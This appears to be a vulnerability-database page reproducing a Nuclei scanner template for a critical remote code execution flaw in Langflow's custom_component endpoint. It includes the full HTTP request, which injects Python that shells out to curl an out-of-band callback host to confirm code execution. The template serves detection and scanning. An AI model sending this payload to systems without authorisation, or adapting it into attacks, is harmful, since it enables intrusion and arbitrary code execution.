Langflow <= 1.0.12 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2024-37014 | 1 Aug 202611:00 | – | circl | |
| Langflow Security Vulnerabilities | 10 Jun 202400:00 | – | cnnvd | |
| CVE-2024-37014 | 10 Jun 202400:00 | – | cve | |
| CVE-2024-37014 | 10 Jun 202400:00 | – | cvelist | |
| Langflow remote code execution vulnerability | 10 Jun 202421:30 | – | github | |
| CVE-2024-37014 | 10 Jun 202420:15 | – | nvd | |
| GHSA-QG33-X2C5-6P44 Langflow remote code execution vulnerability | 10 Jun 202421:30 | – | osv | |
| PYSEC-2024-177 | 10 Jun 202420:15 | – | osv | |
| PT-2024-27242 · Langflow · Langflow | 10 Jun 202400:00 | – | ptsecurity | |
| PYSEC-2024-177 | 10 Jun 202420:15 | – | pypa |
10
id: CVE-2024-37014
info:
name: Langflow <= 1.0.12 - Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Update to the latest version of Langflow that addresses this issue or apply security patches.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr
- https://nvd.nist.gov/vuln/detail/CVE-2024-37014
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-37014
epss-score: 0.31337
epss-percentile: 0.981
cwe-id: CWE-94
cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: langflow
product: langflow
shodan-query: http.title:"Langflow"
fofa-query: title="Langflow"
tags: cve,cve2024,langflow,rce,oast,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_any(body, "Langflow", "langflow")'
condition: and
internal: true
- raw:
- |
POST /api/v1/custom_component HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code":"import os\nfrom langflow.custom import Component\nfrom langflow.io import Output\n\nclass RCEProbe(Component):\n display_name = \"Probe\"\n outputs = [Output(display_name=\"Out\", name=\"out\", method=\"run\")]\n def run(self):\n os.system('curl -m 5 -s http://{{interactsh-url}}')\n return ''\n"}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
# digest: 4a0a004730450221009406ff777c5537746919c5d9adf7d61cb51c5ea9371f22bff18fc7428be78c3e0220392039810db36f94971cd2c328455697b2e5c4e1dcba30b2753a7f79eac0422c:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Aug 2026 01:45Current
8.7High risk
Vulners AI Score8.7
CVSS 3.18.8 - 9.8
EPSS0.57485
SSVC